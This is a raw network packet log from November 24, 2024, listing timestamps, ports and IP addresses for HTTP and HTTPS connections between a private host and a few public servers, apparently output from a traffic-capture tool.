Nov 24, 2024 04:20:45.507407904 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.512929916 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.513009071 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.513031960 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.513220072 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.515475988 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.515561104 CET	49850	443	192.168.2.6	172.217.19.225
Nov 24, 2024 04:20:45.515577078 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.516567945 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.516654968 CET	49850	443	192.168.2.6	172.217.19.225
Nov 24, 2024 04:20:45.516669035 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.519103050 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.519175053 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.519242048 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.519391060 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.524454117 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.524593115 CET	49850	443	192.168.2.6	172.217.19.225
Nov 24, 2024 04:20:45.524611950 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.525320053 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.525398970 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.525495052 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.525646925 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.525718927 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.525995016 CET	49850	443	192.168.2.6	172.217.19.225
Nov 24, 2024 04:20:45.526010990 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.530560970 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.530698061 CET	49850	443	192.168.2.6	172.217.19.225
Nov 24, 2024 04:20:45.530714035 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.531459093 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.531544924 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.531637907 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.531708956 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.537657976 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.537735939 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.537745953 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.537962914 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.538248062 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.538337946 CET	49850	443	192.168.2.6	172.217.19.225
Nov 24, 2024 04:20:45.538355112 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.543862104 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.543982983 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.544038057 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.544121981 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.545831919 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.545909882 CET	49850	443	192.168.2.6	172.217.19.225
Nov 24, 2024 04:20:45.545927048 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.550015926 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.550081968 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.550128937 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.550189018 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.556237936 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.556318998 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.556329012 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.556432962 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.560781956 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.560852051 CET	49850	443	192.168.2.6	172.217.19.225
Nov 24, 2024 04:20:45.560874939 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.562388897 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.562474966 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.562582970 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.562638998 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.566179037 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.568471909 CET	49850	443	192.168.2.6	172.217.19.225
Nov 24, 2024 04:20:45.568489075 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.568572044 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.568640947 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.568679094 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.568794012 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.569148064 CET	49860	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:45.569184065 CET	443	49860	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:45.574764967 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.574877977 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.574958086 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.578970909 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.579119921 CET	49850	443	192.168.2.6	172.217.19.225
Nov 24, 2024 04:20:45.579140902 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.580943108 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.580980062 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.581111908 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.587147951 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.587229967 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.587248087 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.587281942 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.590919971 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.590982914 CET	49850	443	192.168.2.6	172.217.19.225
Nov 24, 2024 04:20:45.590997934 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.593303919 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.593432903 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.593681097 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.599534988 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.599623919 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.599729061 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.599915028 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.602822065 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.602911949 CET	49850	443	192.168.2.6	172.217.19.225
Nov 24, 2024 04:20:45.602926970 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.605698109 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.605786085 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.605822086 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.605878115 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.612010956 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.612395048 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.616852999 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.616904974 CET	49850	443	192.168.2.6	172.217.19.225
Nov 24, 2024 04:20:45.616919041 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.617224932 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.617285013 CET	49850	443	192.168.2.6	172.217.19.225
Nov 24, 2024 04:20:45.617296934 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.619162083 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.619229078 CET	49850	443	192.168.2.6	172.217.19.225
Nov 24, 2024 04:20:45.619241953 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.626419067 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.626564980 CET	49850	443	192.168.2.6	172.217.19.225
Nov 24, 2024 04:20:45.626580000 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.627808094 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.627973080 CET	49850	443	192.168.2.6	172.217.19.225
Nov 24, 2024 04:20:45.627985954 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.629684925 CET	443	49865	150.171.27.10	192.168.2.6
Nov 24, 2024 04:20:45.629755974 CET	443	49865	150.171.27.10	192.168.2.6
Nov 24, 2024 04:20:45.629765987 CET	49865	443	192.168.2.6	150.171.27.10
Nov 24, 2024 04:20:45.629836082 CET	49865	443	192.168.2.6	150.171.27.10
Nov 24, 2024 04:20:45.629893064 CET	49865	443	192.168.2.6	150.171.27.10
Nov 24, 2024 04:20:45.629926920 CET	443	49865	150.171.27.10	192.168.2.6
Nov 24, 2024 04:20:45.629947901 CET	49865	443	192.168.2.6	150.171.27.10
Nov 24, 2024 04:20:45.630053997 CET	49865	443	192.168.2.6	150.171.27.10
Nov 24, 2024 04:20:45.651993990 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.652045965 CET	49850	443	192.168.2.6	172.217.19.225
Nov 24, 2024 04:20:45.652064085 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.652772903 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.652833939 CET	49850	443	192.168.2.6	172.217.19.225
Nov 24, 2024 04:20:45.652847052 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.656816959 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.656882048 CET	49850	443	192.168.2.6	172.217.19.225
Nov 24, 2024 04:20:45.656896114 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.659096956 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.659152031 CET	49850	443	192.168.2.6	172.217.19.225
Nov 24, 2024 04:20:45.659164906 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.659183979 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.659399986 CET	49850	443	192.168.2.6	172.217.19.225
Nov 24, 2024 04:20:45.659531116 CET	49850	443	192.168.2.6	172.217.19.225
Nov 24, 2024 04:20:45.659559011 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.709388018 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.709484100 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.709487915 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.709557056 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.711529016 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.711597919 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.711607933 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.711658001 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.716099024 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.716164112 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.716204882 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.716255903 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.720643044 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.720664978 CET	49864	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:45.720685959 CET	443	49864	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:45.720745087 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.720762968 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.720817089 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.725210905 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.725265980 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.725291014 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.725317955 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.729618073 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.729706049 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.729707956 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.729923010 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.733931065 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.734019995 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.734028101 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.734107018 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.738199949 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.738286972 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.738306046 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.738359928 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.742414951 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.742486954 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.742489100 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.742644072 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.746604919 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.746624947 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.746670961 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.746716976 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.750756979 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.750845909 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.750864029 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.751080036 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.754921913 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.754959106 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.755028963 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.755028963 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.759099960 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.759152889 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.759166956 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.759242058 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.763241053 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.763362885 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.763453960 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.767417908 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.767508984 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.767524004 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.767638922 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.771621943 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.771720886 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.771768093 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.771769047 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.775818110 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.775902033 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.775906086 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.775969982 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.779944897 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.780057907 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.780134916 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.784182072 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.784255981 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.784255028 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.784370899 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.788352013 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.788433075 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.788448095 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.788585901 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.792493105 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.792588949 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.792654037 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.796732903 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.796801090 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.796808004 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.796847105 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.800894976 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.800990105 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.801044941 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.805075884 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.805113077 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.805152893 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.805177927 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.809217930 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.809346914 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.809427977 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.813391924 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.813471079 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.813502073 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.813642025 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.817557096 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.817640066 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.817662954 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.817704916 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.821748972 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.821821928 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.821827888 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.821890116 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.825907946 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.825995922 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.826054096 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.826095104 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.830101967 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.830188990 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.830195904 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.830230951 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.834270954 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.834330082 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.834371090 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.834410906 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.838406086 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.838462114 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.005256891 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.005362034 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.005398035 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.005456924 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.005621910 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.005682945 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.005719900 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.005776882 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.007102966 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.007237911 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.007333040 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.008631945 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.008701086 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.008791924 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.008843899 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.010127068 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.010190964 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.010219097 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.010282040 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.011626959 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.011724949 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.011734009 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.011785984 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.013138056 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.013231993 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.013417959 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.014641047 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.014746904 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.014745951 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.015017033 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.016215086 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.016247988 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.016299963 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.016299963 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.017667055 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.017749071 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.017776966 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.017812014 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.019159079 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.019237041 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.019320011 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.020652056 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.020709038 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.020796061 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.020838976 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.022146940 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.022197008 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.022247076 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.022403955 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.023663998 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.023761988 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.023763895 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.023829937 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.025186062 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.025293112 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.025373936 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.026674032 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.026741982 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.026778936 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.026834011 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.028184891 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.028249025 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.028337955 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.028386116 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.029690027 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.029762030 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.029789925 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.029829979 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.031398058 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.031543970 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.031621933 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.032710075 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.032756090 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.032785892 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.032804966 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.034223080 CET	80	49835	185.215.113.206	192.168.2.6
